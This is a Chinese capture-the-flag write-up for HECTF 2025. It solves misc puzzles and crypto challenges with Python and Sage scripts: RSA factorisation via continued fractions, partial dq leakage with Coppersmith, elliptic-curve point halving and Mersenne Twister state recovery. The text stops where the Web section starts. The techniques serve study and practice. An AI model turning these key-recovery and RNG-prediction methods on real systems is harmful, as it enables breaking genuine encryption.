HECTF 2025

由河北师范大学SourceCode战队与河北科技大学AfterWave网安协会联合发起的第九届HECTF 2025信息安全挑战赛,正式定档2025年12月20日-12月21日!

本次大赛的核心技术支撑由凌武科技自主研发的“凌云”攻防竞赛平台提供。该平台是经国家级权威赛事验证的下一代网络安全竞赛靶场,已圆满支撑近百场全国、省市和行业级重大赛事。

平台依托独创的云原生虚拟化底座技术,能够构建复杂网络拓扑,深度还原真实网络环境,实现靶场环境秒级部署,支持千人并发竞技。平台全面兼容CTF夺旗、AWD攻防、应急响应、车联网安全、人工智能安全等多种前沿

赛制,通过3D/2D 可视化大屏和实时攻防监控系统,动态呈现竞赛战况与排名,为选手提供极致贴近实战的竞技体验,保障竞赛公平性。


Misc

签到

关注凌武科技微信公众号,关注公众号后发送“2025HECTF,启动!!!”,获得小惊喜!!!

公众号发关键词,flag:

HECTF{欢迎来到2025_HECTF!!!}

Check_In

🎵 🍑🎲⚽🍉 🚃

给出:

1
2
ctf i love u -> 🎹🏀🌺 🎵 🍑🎲⚽🍉 🚃
$flag -> 🌹🍉🎹🏀🌺{🚇🍉🍑🎹🎲⚾🍉_🏀🎲_🌹🍉🎹🏀🌺_🌹🎲🏉🍉_💎🎲🚃_🎹🏓🌾_🍉🌾🍇🎲💎_🎵🏀}

由HECTF头,对照已知的字母-emoji对应关系,得:

HECTF{?elco?e_to_hectf_ho?e_?ou_ca?_e??o?_it}

再猜单词,得flag:

HECTF{welcome_to_hectf_hope_you_can_enjoy_it}

Word_Document

word文档里没有你想要的东西

解压docx文件,在word文件夹下找到flag.txt文件,直接打开发现是zip。

改后缀为zip,16进制查看确少文件头 504B,补充完整,打开需要密码。

到word/document.xml找到:

1
cGFzc3dvcmQ6My4xNDE1OTI2

base64解码得:password:3.1415926

解压得到flag.png:

flag

flag:

HECTF{W5w_Y0u_Kn0w_7he_docx}

同分异构

同分异构

网页源代码有提示:

1
bWQ1LnBocA==

base64解码是:md5.php

访问 /md5.php,需要上传两个md5值相同的不同文件。

md5 hash强碰撞,从 corkami - collisions 库随便找两个文件下载,去掉后缀,上传提交得flag。

快来反馈吧~

反馈链接: https://v.wjx.cn/vm/Qia1e0V.aspx

填问卷,flag:

HECTF{Feedback_Received_Thx4Playing}

Crypto

simple_math

一道普通的数学题,我会做数学题,你会做数学题吗?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from Crypto.Util.number import *
from secret import flag

def getmodule(bits):
while True:
f = getPrime(bits)
g = getPrime(bits)
p = (f<<bits)+g
q = (g<<bits)+f
if isPrime(p) and isPrime(q):
assert p%4 == 3 and q%4 == 3
n = p * q
break
return n

e = 8
n = getmodule(128)

m = bytes_to_long(flag)
c = pow(m,e,n)

print('c =',c)
print('n =',n)

"""
c = 5573794528528829992069712881335829633592490157207670497446565713699227752853445149101948822818379411492395823975723302499892036773925698697672557700027422
n = 6060692198787960152570793202726365711311067556697852613814176910700809041055277955552588176731629472381832554602777717596533323522044796564358407030079609
"""

$n$ 的素因子 $p,q$ 是把两个 128-bit 素数 $f,g$ 拼接后再“交换半边”得到的:

设 $B=2^{128}$,有 $p=fB+g$,$q=gB+f$。

令 $s = f + g$,$a = fg$

展开:$n = (fB + g)(gB + f) = fg(B^2 + 1) + (f^2 + g^2)B$

又因为: $f^2 + g^2 = (f + g)^2 - 2fg = s^2 - 2a$

代回去:

$n = a(B^2 + 1) + (s^2 - 2a)B
= a(B^2 - 2B + 1) + s^2 B
= a(B - 1)^2 + s^2 B$

记 $M = B - 1$,则:$n \equiv s^2 B \pmod{M^2}$

因为 $\gcd(B, M) = 1$,所以 $B$ 在模 $M^2$ 下可逆:

$s^2 \equiv n \cdot B^{-1} \pmod{M^2}$

并且 $s < 2B \Rightarrow s^2 < 4B^2 \approx 4M^2$,所以 $s^2$ 只可能是:

$s^2 = r + kM^2,\; k \in \{0,1,2,3,4\}$

其中 $r = (n \cdot B^{-1}) \bmod M^2$。

只要枚举很小的 $k$,找到“刚好是完全平方数”的那个即可。

有了 $s$ 能得到 $p+q$:

$p + q = (fB + g)(gB + f) = (f + g)(B + 1) = s(B + 1)$

最后有限域开8次方即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from Crypto.Util.number import long_to_bytes
from math import isqrt

c = 5573794528528829992069712881335829633592490157207670497446565713699227752853445149101948822818379411492395823975723302499892036773925698697672557700027422
n = 6060692198787960152570793202726365711311067556697852613814176910700809041055277955552588176731629472381832554602777717596533323522044796564358407030079609

bits = 128
B = 2**bits
M = B - 1
M2 = M*M

# ---- step1: recover s=f+g via s^2 ≡ n * inv(B) (mod (B-1)^2) ----
invB = pow(B, -1, M2)
r = (n * invB) % M2

s = None
for k in range(5): # k in {0..4} is enough
S2 = r + k*M2
t = isqrt(S2)
if t*t == S2:
s = t
break
assert s is not None

# ---- step2: factor n from S=p+q=s(B+1) ----
S = s * (B + 1)
D = S*S - 4*n
sqrtD = isqrt(D)
assert sqrtD*sqrtD == D

p = (S + sqrtD)//2
q = (S - sqrtD)//2
assert p*q == n

# ---- step3: all square roots mod n (p,q ≡ 3 mod 4) ----
def crt(a1, m1, a2, m2):
inv_m1 = pow(m1, -1, m2)
t = ((a2 - a1) * inv_m1) % m2
return a1 + m1 * t

def all_sqrt_mod_n(a, p, q):
# x^2 ≡ a (mod p) => x ≡ ± a^((p+1)/4) because p≡3 mod4
rp = pow(a, (p+1)//4, p)
rq = pow(a, (q+1)//4, q)
roots = []
for sp in (rp, (-rp) % p):
for sq in (rq, (-rq) % q):
roots.append(crt(sp, p, sq, q) % (p*q))
return roots

# To solve m^8=c: repeated sqrt 3 times, but only residues survive.
roots = [c]
for _ in range(3):
new = []
for a in roots:
if pow(a, (p-1)//2, p) == 1 and pow(a, (q-1)//2, q) == 1:
new.extend(all_sqrt_mod_n(a, p, q))
roots = list(set(new))

for m in roots:
b = long_to_bytes(m)
if b.startswith(b'HECTF{') or b.startswith(b'flag{'):
print(b)

# b'HECTF{this_is_a_flag_emm_is_a_true_flag_ok_all_right}'

下个棋吧

先别做题了,flag给你,过来陪我下把棋,对了,别忘了flag要大写,RERBVkFGR0RBWHtWR1ZHWEFYRFZHWEFYRFZWVkZWR1ZYVkdYQX0=

base64得到:

DDAVAFGDAX{VGVGXAXDVGXAXDVVVFVGVXVGXA}

再由提示棋盘密码,ADFGVX密码解得:

hectf{1145145201314}

flag:HECTF{1145145201314}

ez_rsa

实在不知道怎么描述才好,反正是道简简单单的rsa,非常容易就能做出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from Crypto.Util.number import *
from gmpy2 import next_prime

from secret import flag

e = 65537
while True:
p1 = getPrime(512)
p2 = next_prime(p1)
q1 = getPrime(250)
q2 = getPrime(250)
n1 = p1**2*q1
n2 = p2**2*q2
if abs(p1-p2)<p1/(4*q1*q2):
break

l = len(flag) // 2
m1, m2 = bytes_to_long(flag[:l]), bytes_to_long(flag[l:])

c1 = pow(m1,e,n1)
c2 = pow(m2,e,n2)

print('c1 =', c1)
print('c2 =', c2)
print('n1 =', n1)
print('n2 =', n2)

"""
c1 = 53794102520259772962649045858576221465470825190832934218429615676578733090040151233709954118823187509134204197900878909625807999086331747342514637503295791730180510192956834523005990404866445713234424086559831376810175311081520383413318056594422752551500083114685166907745013622324855991979140245907218436391231529893571051805289332021969063468163881523935479367416921655014639791920
c2 = 9052082423365224257952169727471511116343636754632940194264502704697852932532482639724493657103678314302886687710898937205955106008040357863303819909329575056725102501066300771840780970209680697874184954776520388520912958918609760491518738565339512830340891355495761329325539914537183981946727807621066415407718405281155516000986687797150964327740274908804298880671020463280815846412
n1 = 98883753407297608957629424865714335053996022388238735569824164507623692527853962975392303234473035916456899244665285221847772940522588864849967816934720547920870269288918027227609323674530533210183199265184870283022950180411036770713693931074212919932370249829101629879564811122352724775705189146681235092749483273337940646214392591186563201709371435197518622209250725811137856196641
n2 = 52847447490004248309003888295738534958949920800650087542364666545481208701251931880585683578162296213389552561184640931603466477091024928446523302557870614402843171797849560571453293858739610330175253863157533028976216594152329043556996573601155253747817112184987205405092446153491574442703185973485274472403444657880456022918181503181300476227341269990508005711171556056777832920469
"""

$n_1=p_1^2q_1,\; n_2=p_2^2q_2$,并且 $p_2=\text{next_prime}(p_1)$ 且非常接近;给的约束
$|p_1-p_2|<\cfrac{p_1}{4q_1q_2}$,正是为了让 $\cfrac{n_1}{n_2}$ 的连分数收敛分数里能出现 $\cfrac{q_1}{q_2}$。

$\cfrac{n_1}{n_2}=\cfrac{p_1^2q_1}{p_2^2q_2}=\cfrac{q_1}{q_2}\cdot \cfrac{p_1^2}{p_2^2}$

因此

$\left|\cfrac{n_1}{n_2}-\cfrac{q_1}{q_2}\right|
=\cfrac{q_1}{q_2}\left|\cfrac{p_1^2}{p_2^2}-1\right|
=\cfrac{q_1}{q_2}\cdot\cfrac{|p_1^2-p_2^2|}{p_2^2}
=\cfrac{q_1}{q_2}\cdot\cfrac{|p_1-p_2||p_1+p_2|}{p_2^2}$

又因为 $p_1+p_2<2p_2$,所以

$\left|\cfrac{n_1}{n_2}-\cfrac{q_1}{q_2}\right|
<\cfrac{q_1}{q_2}\cdot\cfrac{|p_1-p_2|\cdot 2p_2}{p_2^2}
= \cfrac{2q_1|p_1-p_2|}{q_2p_2}
\le \cfrac{2q_1|p_1-p_2|}{q_2p_1}$

代入题目给的界 $|p_1-p_2|<\cfrac{p_1}{4q_1q_2}$:

$\left|\cfrac{n_1}{n_2}-\cfrac{q_1}{q_2}\right|
< \cfrac{2q_1}{q_2p_1}\cdot \cfrac{p_1}{4q_1q_2}
= \cfrac{1}{2q_2^2}$

所以 $\cfrac{q_1}{q_2}$ 会出现在 $\cfrac{n_1}{n_2}$ 的收敛分数里。

拿到 $q_1,q_2$ 后就能直接分解 $n_1,n_2$。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from math import isqrt
from Crypto.Util.number import *

c1 = 53794102520259772962649045858576221465470825190832934218429615676578733090040151233709954118823187509134204197900878909625807999086331747342514637503295791730180510192956834523005990404866445713234424086559831376810175311081520383413318056594422752551500083114685166907745013622324855991979140245907218436391231529893571051805289332021969063468163881523935479367416921655014639791920
c2 = 9052082423365224257952169727471511116343636754632940194264502704697852932532482639724493657103678314302886687710898937205955106008040357863303819909329575056725102501066300771840780970209680697874184954776520388520912958918609760491518738565339512830340891355495761329325539914537183981946727807621066415407718405281155516000986687797150964327740274908804298880671020463280815846412
n1 = 98883753407297608957629424865714335053996022388238735569824164507623692527853962975392303234473035916456899244665285221847772940522588864849967816934720547920870269288918027227609323674530533210183199265184870283022950180411036770713693931074212919932370249829101629879564811122352724775705189146681235092749483273337940646214392591186563201709371435197518622209250725811137856196641
n2 = 52847447490004248309003888295738534958949920800650087542364666545481208701251931880585683578162296213389552561184640931603466477091024928446523302557870614402843171797849560571453293858739610330175253863157533028976216594152329043556996573601155253747817112184987205405092446153491574442703185973485274472403444657880456022918181503181300476227341269990508005711171556056777832920469
e = 65537

def contfrac(a, b):
cf = []
while b:
q = a // b
cf.append(int(q))
a, b = b, a - q * b
return cf

def convergents(cf):
h1, h0 = 1, 0
k1, k0 = 0, 1
for a in cf:
h2 = a * h1 + h0
k2 = a * k1 + k0
yield h2, k2
h0, h1 = h1, h2
k0, k1 = k1, k2

cf = contfrac(n1, n2)

q1 = q2 = p1 = p2 = None
for A, B in convergents(cf):
# q1,q2 是 250bit 左右
if not (230 <= A.bit_length() <= 270 and 230 <= B.bit_length() <= 270):
continue
if n1 % A != 0 or n2 % B != 0:
continue
s1, s2 = n1 // A, n2 // B
r1, r2 = isqrt(s1), isqrt(s2)
if r1 * r1 != s1 or r2 * r2 != s2:
continue
if isPrime(A) and isPrime(B) and isPrime(r1) and isPrime(r2):
q1, q2, p1, p2 = A, B, r1, r2
break

assert q1 and q2 and p1 and p2

phi1 = p1 * (p1 - 1) * (q1 - 1)
phi2 = p2 * (p2 - 1) * (q2 - 1)

d1 = inverse(e, phi1)
d2 = inverse(e, phi2)

m1 = pow(c1, d1, n1)
m2 = pow(c2, d2, n2)

flag = long_to_bytes(m1) + long_to_bytes(m2)
print(flag)

# b'HECTF{cRoss_0v3r_v&ry_yOxi}'

dq

简单的dq泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import *
from secret import flag

p = getPrime(512)
q = getPrime(512)
n = p*q
e = 65537
d = inverse(e,(p-1)*(q-1))
dq = d%(q-1)
m = bytes_to_long(flag)
c = pow(m,e,n)
dq_low = dq&((1<<128)-1)
print("dq_low =",dq_low)
print("qinvp =",inverse(q,p))
print("c =",c)
print("n =",n)

"""
dq_low = 335584540380442406421659167342342638249
qinvp = 292380991609815479569318671567034568158741535336887645461482569000277924434025200418747744584399819139565007718147991186087121959333784855885409627807059
c = 79629543091521335572424036010295736463371865643788850996124745633140088693314474944546097858072542270744120204079572911048563286953176355620930088558852130198643488701338502773300967950160034234386587652495960085056607599181184904621488863558676003785173655724057777780825432810217070169799364372132482673582
n = 86062666525788610805322579359521230247485941052919698110209821574415795978267400179921030947943594715362554402337569699962889595727915713729727353653488455319575472816541725860439018405245986660080770381711691707583311039956616813650240564767989150096091515884074613899035773693670199866584129217246504406289
"""

已知 $dq_l$ 和 $\text{inv}(q,p)$,由 $e \cdot dq=k(q-1)+1$ 得到 $e \cdot dq+k-1=kq$。

$k<e$ 可以爆破,但未知 $q$,替换为已知的 $kq$,有:

$cf\cdot q\equiv1 \pmod p\rightarrow cf\cdot q-1\equiv0 \pmod p\rightarrow cf\cdot (kq)^{x+1}-k\cdot (kq)^x\equiv0 \pmod n$

令 $x=1$,得到一个模 $n$ 等式,未知数个数1,已知其低128位,设高位为 $x$,有:

$t = e\cdot (x+dp_l)-k+1$

$cf\cdot t^2-k\cdot t\equiv 0 \pmod n$

coppersmith求解即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from Crypto.Util.number import *
from tqdm import *

dq_low = 335584540380442406421659167342342638249
qinvp = 292380991609815479569318671567034568158741535336887645461482569000277924434025200418747744584399819139565007718147991186087121959333784855885409627807059
c = 79629543091521335572424036010295736463371865643788850996124745633140088693314474944546097858072542270744120204079572911048563286953176355620930088558852130198643488701338502773300967950160034234386587652495960085056607599181184904621488863558676003785173655724057777780825432810217070169799364372132482673582
n = 86062666525788610805322579359521230247485941052919698110209821574415795978267400179921030947943594715362554402337569699962889595727915713729727353653488455319575472816541725860439018405245986660080770381711691707583311039956616813650240564767989150096091515884074613899035773693670199866584129217246504406289
e = 65537

def coppersmith(k):
R.<x> = PolynomialRing(Zmod(n))
tmp = e * (x * 2^128 + dq_low) + k - 1 # kq
f = qinvp * tmp^2 - k * tmp
f = f.monic()
x0 = f.small_roots(X=2^(512-128), beta=1, epsilon=0.09)
return x0

for k in trange(1, e):
root = coppersmith(k)
if root:
dq = int(root[0]) * 2^128 + dq_low
q = (e*dq + k - 1) // k
print(f"k = {k}")
p = n // q
d = inverse(e, (p-1)*(q-1))
m = pow(c, d, n)
print(long_to_bytes(int(m)))
break

# b'HECTF{ay_mi_gatuto_miau_miau}'

ez_ecc

简单的椭圆曲线,不会特别难

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from Crypto.Util.number import *
from secret import add,flag,P,Q,b,p

def oncurve(P):
x,y = P
if (y**2 - x**3 - x - b)%p == 0:
return True
else:
return False

l = len(flag) // 2
m1, m2 = bytes_to_long(flag[:l]), bytes_to_long(flag[l:])

assert m1 == P[0] and m2 == Q[0]
assert oncurve(P) and oncurve(Q)

print('P + P =', add(P,P))
print('P + Q =', add(P,Q))
print('Q + Q =', add(Q,Q))

"""
P + P = (14964670759245329390375308321411786978157102161189322115734645373169213999800, 15559632617790587507311758059936601413780195603883582327743315824295031740424)
P + Q = (51100085833472068924911572616418783709145128504503165799653950174447959545831, 34374474833785437488342051727913857907583782324172232648593714071718811330923)
Q + Q = (58182088469274002379975156536635905530143308283684486683439461054185269349870, 60318982918282038994679589134874004093617373250696961967201026789735803518347)
"""

flag切成两半后分别当作点 P、Q 的 x 坐标,由已知三点反推出 p 与 b:

曲线为:$y^2 \equiv x^3 + x + b \pmod p$

所以对任意在曲线上的点 $R=(x,y)$,有:

$b \equiv y^2 - x^3 - x \pmod p$

$t_R = y^2 - x^3 - x$

那么对三个点 $2P, P+Q, 2Q$,它们的 $t$ 值模 $p$ 应该同余,因此:

$p \mid (t_1 - t_2)$

$p \mid (t_1 - t_3)$

$p \mid (t_2 - t_3)$

所以:

$p = \gcd(|t_1-t_2|, |t_1-t_3|, |t_2-t_3|)$

得到曲线方程后,从 $R=2P$ 反求 $P$:

设 $R=(x_R,y_R)=2P$,$P=(x,y)$。倍点公式:

$\lambda = \cfrac{3x^2+a}{2y}$(这里 $a=1$)

$x_R = \lambda^2 - 2x$

$y_R = \lambda(x-x_R)-y$

把 $\lambda$ 消掉可得到一个 关于 x 的四次多项式(在 $\mathbb{F}_p$ 上):

$\Big(2(x_R+2x)(x-x_R) - (3x^2+a)\Big)^2 - 4(x_R+2x)y_R^2 \equiv 0 \pmod p$

解出根 $x$ 后,再计算 $y^2=x^3+ax+b$ 开方,筛选满足 $2P==R$ 的点即可。

对 $2P$、$2Q$ 各会得到 2 个候选点,再用 $P+Q$ 过滤即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
from math import gcd
from Crypto.Util.number import long_to_bytes
import sympy as sp
from sympy import Poly, symbols

x2P = 14964670759245329390375308321411786978157102161189322115734645373169213999800
y2P = 15559632617790587507311758059936601413780195603883582327743315824295031740424

xPQ = 51100085833472068924911572616418783709145128504503165799653950174447959545831
yPQ = 34374474833785437488342051727913857907583782324172232648593714071718811330923

x2Q = 58182088469274002379975156536635905530143308283684486683439461054185269349870
y2Q = 60318982918282038994679589134874004093617373250696961967201026789735803518347

# ====== step1: recover p, b ======
def t(x, y):
return y*y - x*x*x - x

t1 = t(x2P, y2P)
t2 = t(xPQ, yPQ)
t3 = t(x2Q, y2Q)

p = gcd(gcd(abs(t1 - t2), abs(t1 - t3)), abs(t2 - t3))
assert sp.isprime(p)

b = t1 % p
a = 1
print("[+] p =", p)
print("[+] a =", a, "b =", b)

# ====== EC ops ======
O = None

def inv(n):
return pow(n, -1, p)

def add(P, Q):
if P is None: return Q
if Q is None: return P
x1, y1 = P
x2, y2 = Q
if x1 == x2 and (y1 + y2) % p == 0:
return None

if P != Q:
lam = ((y2 - y1) * inv((x2 - x1) % p)) % p
else:
lam = ((3 * x1 * x1 + a) * inv((2 * y1) % p)) % p

x3 = (lam * lam - x1 - x2) % p
y3 = (lam * (x1 - x3) - y1) % p
return (x3, y3)

def dbl(P):
return add(P, P)

def legendre_symbol(n):
return pow(n % p, (p - 1) // 2, p)

def mod_sqrt(n):
n %= p
if n == 0:
return [0]
if legendre_symbol(n) != 1:
return []
if p % 4 == 3:
r = pow(n, (p + 1) // 4, p)
return [r, (-r) % p] if r != 0 else [0]

# Tonelli-Shanks (generic)
q = p - 1
s = 0
while q % 2 == 0:
s += 1
q //= 2
z = 2
while legendre_symbol(z) != p - 1:
z += 1
c = pow(z, q, p)
x = pow(n, (q + 1) // 2, p)
t = pow(n, q, p)
m = s
while t != 1:
i = 1
t2 = pow(t, 2, p)
while t2 != 1:
t2 = pow(t2, 2, p)
i += 1
b_ = pow(c, 1 << (m - i - 1), p)
x = (x * b_) % p
t = (t * b_ * b_) % p
c = (b_ * b_) % p
m = i
return [x, (-x) % p] if x != 0 else [0]

# ====== step2: point halving via quartic in x ======
X = symbols('X')

def halving_x_roots(R):
xR, yR = R
expr = (2 * (xR + 2 * X) * (X - xR) - (3 * X**2 + a))**2 - 4 * (xR + 2 * X) * (yR**2)
poly = Poly(expr.expand(), X, modulus=p)

fac = sp.factor_list(poly, modulus=p)[1]
roots = []
for f, e in fac:
if f.degree() == 1:
c1, c0 = map(int, f.all_coeffs()) # c1*X + c0
r = (-c0 * pow(c1, -1, p)) % p
roots.extend([r] * e)
return set(roots)

def halving_points(R):
xs = halving_x_roots(R)
cands = []
for x in xs:
rhs = (x*x*x + a*x + b) % p
for y in mod_sqrt(rhs):
P = (int(x), int(y))
if dbl(P) == R:
cands.append(P)
return cands

R2P = (x2P % p, y2P % p)
RPQ = (xPQ % p, yPQ % p)
R2Q = (x2Q % p, y2Q % p)

candP = halving_points(R2P)
candQ = halving_points(R2Q)

print("[+] candidates P:", len(candP))
print("[+] candidates Q:", len(candQ))

# ====== step3: use P+Q to select ======
sol = None
for P in candP:
for Q in candQ:
if add(P, Q) == RPQ:
sol = (P, Q)
break
if sol:
break

P, Q = sol
flag = long_to_bytes(P[0]) + long_to_bytes(Q[0])
print(flag)

# b'HECTF{W00O0O_Y0U_G@t_the_ez_Ecc!!___}'

ez_random

什么?你说你要flag?那我就给你一个吧,不过好像被打乱了…你想办法恢复一下…

提示1 shuffle时调用了几次state

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import *
import random

with open('shuffle_flag.txt', 'r') as fp:
flag = fp.read().encode()

m = bytes_to_long(flag)
flag_list = [ int(i) for i in bin(m)[2:] ]

rand = random.Random()

rand.shuffle(flag_list)
with open("output.txt","w") as fp:
for _ in range(312):
fp.write(str(rand.getrandbits(64))+'\n')

print('flag_list =',flag_list)

"""
flag_list = [1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1]
"""

flag转成二进制位list,先shuffle,再泄露312*64=19968位。

使用MT19937恢复state(untemper+untwist),再逆向shuffle(枚举起始index,复现permutation,尝试对flag_list的逆置换)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
import random, string
from pathlib import Path

M32 = 0xffffffff
A = 0x9908B0DF
N, M = 624, 397
PRINTABLE = set(string.printable.encode())

# ---------- utils ----------
def load64(p):
xs = [int(x) for x in Path(p).read_text().split() if x.strip()]
assert len(xs) == 312
return xs

def unshift_r(y, s):
x = y
for _ in range(6): x = y ^ (x >> s)
return x & M32

def unshift_l(y, s, m):
x = y
for _ in range(6): x = y ^ ((x << s) & m)
return x & M32

def untemper(y):
y = unshift_r(y, 18)
y = unshift_l(y, 15, 0xEFC60000)
y = unshift_l(y, 7, 0x9D2C5680)
return unshift_r(y, 11)

def split64(xs, o):
r = []
for x in xs:
lo, hi = x & M32, (x >> 32) & M32
r += [lo, hi] if o == "lohi" else [hi, lo]
return r

def state(mt, i): return (3, tuple(mt + [i]), None)

# ---------- recover MT ----------
def recover(nums):
for o in ("lohi", "hilo"):
u = [untemper(x) for x in split64(nums, o)]
for i in range(624):
mt = [u[(k - i) % 624] for k in range(624)]
r = random.Random(); r.setstate(state(mt, i))
if all(r.getrandbits(64) == nums[j] for j in range(312)):
return o, mt, i
raise RuntimeError

# ---------- untwist ----------
def untwist(mt):
mt = mt[:]
for i in range(N - 1, -1, -1):
t = mt[i] ^ mt[(i + M) % N]
if t >> 31: t ^= A
v = (t << 1) & (1 << 31)

t = mt[i - 1] ^ mt[(i + M - 1) % N]
if t >> 31:
t ^= A; v |= 1
mt[i] = (v | ((t << 1) & ((1 << 31) - 1))) & M32
return mt

# ---------- decode ----------
def unshuffle(bits, p):
r = [0]*len(bits)
for i, j in enumerate(p): r[j] = bits[i]
return r

def bits2bytes(b):
if not b: return b""
return int("".join("01"[x] for x in b), 2).to_bytes((len(b)+7)//8, "big")

def score(bs): return sum(c in PRINTABLE for c in bs)/len(bs) if bs else 0

def best(bits, p):
b0, best = unshuffle(bits, p), (-1, b"")
for r in (0, 1):
b = b0[::-1] if r else b0
for k in range(8):
raw = bits2bytes([0]*k + b)
for x in (raw, raw.lstrip(b"\0")):
s = score(x)
if s > best[0]: best = (s, x)
return best

# ---------- main ----------
flag_list = [1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1]

nums = load64("ez_random/output.txt")
_, mt, _ = recover(nums)
mt_end = untwist(mt)

for tb in range(3):
cur = mt_end[:]
for _ in range(tb): cur = untwist(cur)
for i in range(624):
r = random.Random(); r.setstate(state(cur, i))
p = list(range(len(flag_list))); r.shuffle(p)
_, out = best(flag_list, p)
if b'HECTF' in out:
print(out)

# b'HECTF{emmm___its_a_correct_flag?___}'

Web

老爷爷的金块

现在不知不觉2025年了,曾经在4399里遨游的小孩儿也变成大人了… 重新看了一遍4399的经典游戏,想起了这个努力挖矿的老爷爷。 下载附件,打开exe,重温童年的乐趣!

提示1 1.请注意获得的flag第六段前面有一个空格哦~

提示2 2.此题目没有O,均为数字0

这应该是misc题吧。

在picture找到bk_flag.png,提交图片上的字符串即为flag:

HECTF{D0_y0u_sti11_remem3er_me_ 1_am_g01d_miner_l0ng_time_n0_see}

PHPGift

在床上睡不着的李华翻来覆去,今天有个神秘人给他发信息说给他留下了个小礼物,于是大半夜爬起来去看了看日志系统,发现暗藏玄机……

源代码有提示:

1
<!-- hhhhhh!!!! where is xxx.php -->

结合主页,测试存在ser.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
